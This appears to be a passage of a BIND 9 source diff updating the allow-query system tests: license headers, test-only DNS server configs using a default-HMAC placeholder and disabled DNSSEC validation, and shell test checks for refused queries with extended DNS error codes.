--- a/bin/tests/system/allow-query/ns2/named21.conf.in
+++ b/bin/tests/system/allow-query/ns2/named21.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named22.conf.in b/bin/tests/system/allow-query/ns2/named22.conf.in
index 8b738992d9..454f24a59c 100644
--- a/bin/tests/system/allow-query/ns2/named22.conf.in
+++ b/bin/tests/system/allow-query/ns2/named22.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named23.conf.in b/bin/tests/system/allow-query/ns2/named23.conf.in
index 46f9013dfa..f62337bc28 100644
--- a/bin/tests/system/allow-query/ns2/named23.conf.in
+++ b/bin/tests/system/allow-query/ns2/named23.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named24.conf.in b/bin/tests/system/allow-query/ns2/named24.conf.in
index f4309fe797..1e277a95aa 100644
--- a/bin/tests/system/allow-query/ns2/named24.conf.in
+++ b/bin/tests/system/allow-query/ns2/named24.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named25.conf.in b/bin/tests/system/allow-query/ns2/named25.conf.in
index 5d1418882d..0548af2488 100644
--- a/bin/tests/system/allow-query/ns2/named25.conf.in
+++ b/bin/tests/system/allow-query/ns2/named25.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named26.conf.in b/bin/tests/system/allow-query/ns2/named26.conf.in
index 0bbdc4868d..40e5dfd175 100644
--- a/bin/tests/system/allow-query/ns2/named26.conf.in
+++ b/bin/tests/system/allow-query/ns2/named26.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named27.conf.in b/bin/tests/system/allow-query/ns2/named27.conf.in
index 4f6c9c7f5a..92fa1f8bd1 100644
--- a/bin/tests/system/allow-query/ns2/named27.conf.in
+++ b/bin/tests/system/allow-query/ns2/named27.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -17,6 +19,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named28.conf.in b/bin/tests/system/allow-query/ns2/named28.conf.in
index 408d49deec..2ecac7ce83 100644
--- a/bin/tests/system/allow-query/ns2/named28.conf.in
+++ b/bin/tests/system/allow-query/ns2/named28.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -17,6 +19,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named29.conf.in b/bin/tests/system/allow-query/ns2/named29.conf.in
index 8bd63deeb8..9a6c9e5a0e 100644
--- a/bin/tests/system/allow-query/ns2/named29.conf.in
+++ b/bin/tests/system/allow-query/ns2/named29.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -17,6 +19,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named30.conf.in b/bin/tests/system/allow-query/ns2/named30.conf.in
index 4c172929ca..975b039a5f 100644
--- a/bin/tests/system/allow-query/ns2/named30.conf.in
+++ b/bin/tests/system/allow-query/ns2/named30.conf.in
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
@@ -20,6 +22,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named31.conf.in b/bin/tests/system/allow-query/ns2/named31.conf.in
index a2690a4523..c9b11aee82 100644
--- a/bin/tests/system/allow-query/ns2/named31.conf.in
+++ b/bin/tests/system/allow-query/ns2/named31.conf.in
@@ -1,21 +1,23 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key two {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234efgh8765";
 };
 
@@ -27,6 +29,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { key one; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named32.conf.in b/bin/tests/system/allow-query/ns2/named32.conf.in
index a0708c8ee3..54a45f22ea 100644
--- a/bin/tests/system/allow-query/ns2/named32.conf.in
+++ b/bin/tests/system/allow-query/ns2/named32.conf.in
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
@@ -20,6 +22,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named33.conf.in b/bin/tests/system/allow-query/ns2/named33.conf.in
index d11956db3b..be31b72051 100644
--- a/bin/tests/system/allow-query/ns2/named33.conf.in
+++ b/bin/tests/system/allow-query/ns2/named33.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { none; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named34.conf.in b/bin/tests/system/allow-query/ns2/named34.conf.in
index ff16428175..165ff06b05 100644
--- a/bin/tests/system/allow-query/ns2/named34.conf.in
+++ b/bin/tests/system/allow-query/ns2/named34.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { any; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named40.conf.in b/bin/tests/system/allow-query/ns2/named40.conf.in
index 687768ea38..2eb9191a37 100644
--- a/bin/tests/system/allow-query/ns2/named40.conf.in
+++ b/bin/tests/system/allow-query/ns2/named40.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,12 +16,12 @@ acl accept { 10.53.0.2; };
 acl badaccept { 10.53.0.1; };
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key two {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234efgh8765";
 };
 
@@ -29,6 +31,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named53.conf.in b/bin/tests/system/allow-query/ns2/named53.conf.in
index 59e1485343..bd0af28420 100644
--- a/bin/tests/system/allow-query/ns2/named53.conf.in
+++ b/bin/tests/system/allow-query/ns2/named53.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { none; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named54.conf.in b/bin/tests/system/allow-query/ns2/named54.conf.in
index d96c24eed9..a6ca42442d 100644
--- a/bin/tests/system/allow-query/ns2/named54.conf.in
+++ b/bin/tests/system/allow-query/ns2/named54.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { any; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named55.conf.in b/bin/tests/system/allow-query/ns2/named55.conf.in
index 8e336b5e7c..6bcba0771c 100644
--- a/bin/tests/system/allow-query/ns2/named55.conf.in
+++ b/bin/tests/system/allow-query/ns2/named55.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named56.conf.in b/bin/tests/system/allow-query/ns2/named56.conf.in
index 6c82c360ea..d89a5fbabc 100644
--- a/bin/tests/system/allow-query/ns2/named56.conf.in
+++ b/bin/tests/system/allow-query/ns2/named56.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named57.conf.in b/bin/tests/system/allow-query/ns2/named57.conf.in
index cce8de7f47..bcc3a85dca 100644
--- a/bin/tests/system/allow-query/ns2/named57.conf.in
+++ b/bin/tests/system/allow-query/ns2/named57.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns3/named.args b/bin/tests/system/allow-query/ns3/named.args
index 35e99d8dd8..e875a57bc7 100644
--- a/bin/tests/system/allow-query/ns3/named.args
+++ b/bin/tests/system/allow-query/ns3/named.args
@@ -1,2 +1,2 @@
 # this server only has 127.0.0.1 in its localhost/localnets ACLs
--m record,size,mctx -c named.conf -d 99 -D allow-query-ns3 -X named.lock -g -T maxcachesize=2097152 -T fixedlocal
+-m record -c named.conf -d 99 -D allow-query-ns3 -X named.lock -g -T maxcachesize=2097152 -T fixedlocal
diff --git a/bin/tests/system/allow-query/ns3/named1.conf.in b/bin/tests/system/allow-query/ns3/named1.conf.in
index 93db51303a..74b9885bcc 100644
--- a/bin/tests/system/allow-query/ns3/named1.conf.in
+++ b/bin/tests/system/allow-query/ns3/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,7 +22,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/allow-query/ns3/named2.conf.in b/bin/tests/system/allow-query/ns3/named2.conf.in
index b1ebeda527..c4a4e8fb88 100644
--- a/bin/tests/system/allow-query/ns3/named2.conf.in
+++ b/bin/tests/system/allow-query/ns3/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,7 +25,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/allow-query/ns3/named3.conf.in b/bin/tests/system/allow-query/ns3/named3.conf.in
index 97124c02b1..0e1f7b0211 100644
--- a/bin/tests/system/allow-query/ns3/named3.conf.in
+++ b/bin/tests/system/allow-query/ns3/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,7 +25,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/allow-query/ns3/named4.conf.in b/bin/tests/system/allow-query/ns3/named4.conf.in
index 5f62658fda..36ff9114f3 100644
--- a/bin/tests/system/allow-query/ns3/named4.conf.in
+++ b/bin/tests/system/allow-query/ns3/named4.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,7 +25,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/allow-query/setup.sh b/bin/tests/system/allow-query/setup.sh
index b3f49de9c7..c85676ef8e 100644
--- a/bin/tests/system/allow-query/setup.sh
+++ b/bin/tests/system/allow-query/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/allow-query/tests.sh b/bin/tests/system/allow-query/tests.sh
index cdc970a121..4455130526 100644
--- a/bin/tests/system/allow-query/tests.sh
+++ b/bin/tests/system/allow-query/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -50,6 +52,8 @@
 # and querying as necessary.
 #
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +nosea +nostat +nocmd +norec +noques +noauth +noadd +nostats +dnssec -p ${PORT}"
@@ -60,17 +64,17 @@ n=0
 nextpart ns2/named.run > /dev/null
 
 # Test 1 - default, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: default - query allowed"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 2 - explicit any, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named02.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -80,10 +84,10 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 3 - none, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named03.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -91,12 +95,26 @@ echo_i "test $n: none - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
+grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
+nextpart ns2/named.run | grep 'recursion not enabled for view' > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+DIGNOEDNS="+tcp +nosea +nostat +nocmd +norec +noques +noauth +noadd +nostats +noedns -p ${PORT}"
+
+echo_i "test $n: none - query refused (no edns)"
+ret=0
+$DIG $DIGNOEDNS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
+grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null && ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 4 - address allowed, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named04.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -106,10 +124,10 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 5 - address not allowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named05.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -117,12 +135,13 @@ echo_i "test $n: address not allowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
